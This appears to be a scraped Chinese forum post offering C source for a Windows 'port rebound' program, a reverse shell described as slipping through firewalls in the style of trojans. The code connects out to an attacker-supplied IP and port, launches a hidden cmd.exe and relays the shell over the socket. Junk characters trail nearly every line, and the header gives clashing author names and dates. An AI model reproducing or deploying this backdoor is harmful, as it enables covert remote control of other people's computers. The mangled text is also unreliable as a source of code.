Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 5[nmP95YK  
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/* ============================== gAj0ukX5  
Rebound port in Windows NT tB]`Hj  
By wind,2006/7 Kq$:\B)<c  
===============================*/
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#include 33*^($bE&  
#include XMomFW_@  
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#pragma comment(lib,"wsock32.lib") d8rBu jT  
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void OutputShell(); SwyaYK  
SOCKET sClient; K*TnUQ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L^6"'#  
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void main(int argc,char **argv) 6BUBk>A`  
{ zMbfV%b  
WSADATA stWsaData; UP}feN  
int nRet; 3(MoXA*  
SOCKADDR_IN stSaiClient,stSaiServer; 2XzF k_6H  
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if(argc != 3) 4A;[sm^f  
{ d
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printf("Useage:\n\rRebound DestIP DestPort\n"); Rk}\)r\  
return; iKohuZr  
} ]U_5\$  
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WSAStartup(MAKEWORD(2,2),&stWsaData); :b.3CL\.6  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $[)6H7!U)  
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); zB;'
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AU3auBol ^  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )ZQHa7V  
{ O'"YJ,  
printf("Bind Socket Failed!\n"); Ii|uGxEc  
return; ?$UH9T9)  
} S4;wa6  
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stSaiServer.sin_family = AF_INET; >?^~s(t  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :uOZjEZi  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z`c%?_EK  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G%xb0%oi]%  
{ 2O?Vr" A  
printf("Connect Error!"); g7.7E6%H  
return; =n> iQS  
} 3X,]=f@_  
OutputShell(); vEu Ka<5  
} xylpiSJ  
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void OutputShell() _`TepX
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{ Rbx97(wK  
char szBuff[1024]; QIR4<]/  
SECURITY_ATTRIBUTES stSecurityAttributes; Su$18a"Bc  
OSVERSIONINFO stOsversionInfo; _Ngx
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >.a+:   
STARTUPINFO stStartupInfo; hfJrQhmE  
char *szShell; b\kN_  
PROCESS_INFORMATION stProcessInformation; h=uiC&B  
unsigned long lBytesRead; _cW_u?0X:  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^`l"'6  
{ z-5GH|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Hlz'a1\:O]  
stSecurityAttributes.lpSecurityDescriptor = 0; pw0Px  
stSecurityAttributes.bInheritHandle = TRUE; |Dl*w/n  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b7?U8/#'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MDMtOfe|  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); szf"|k!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zkf 3t>[  
stStartupInfo.wShowWindow = SW_HIDE; *54>iO- c  
stStartupInfo.hStdInput = hReadPipe; JoZqLy!@
 
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r~ZS1Tp  
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GetVersionEx(&stOsversionInfo); SZCF3m&pz  
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switch(stOsversionInfo.dwPlatformId) L~@ma(TV{K  
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case 1: SQ1M4:hP  
szShell = "command.com"; kWzuz#  
break; jlYD~)
  
default: FZ[@])B  
szShell = "cmd.exe"; X=rc3~}f  
break; '"!z$i~G=  
} `,F&y{A  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =gxgS<bde  
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send(sClient,szMsg,77,0); _myg._[  
while(1) 4yA9Ni  
{ ?b!CV   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tebWj>+1c  
if(lBytesRead) bYwI==3
 
{ g*:ae;GP  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (|yRo  
send(sClient,szBuff,lBytesRead,0); Wl^prs7}c  
} 4e=/f,o1  
else ,Y+r<;  
{ Ss"|1]acP  
lBytesRead=recv(sClient,szBuff,1024,0); 8>C; >v  
if(lBytesRead<=0) break; zWCW:dI  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2ApDpH`fiJ  
} 8m#}S\m  
} l 'AK  
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return; r;&]?9
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}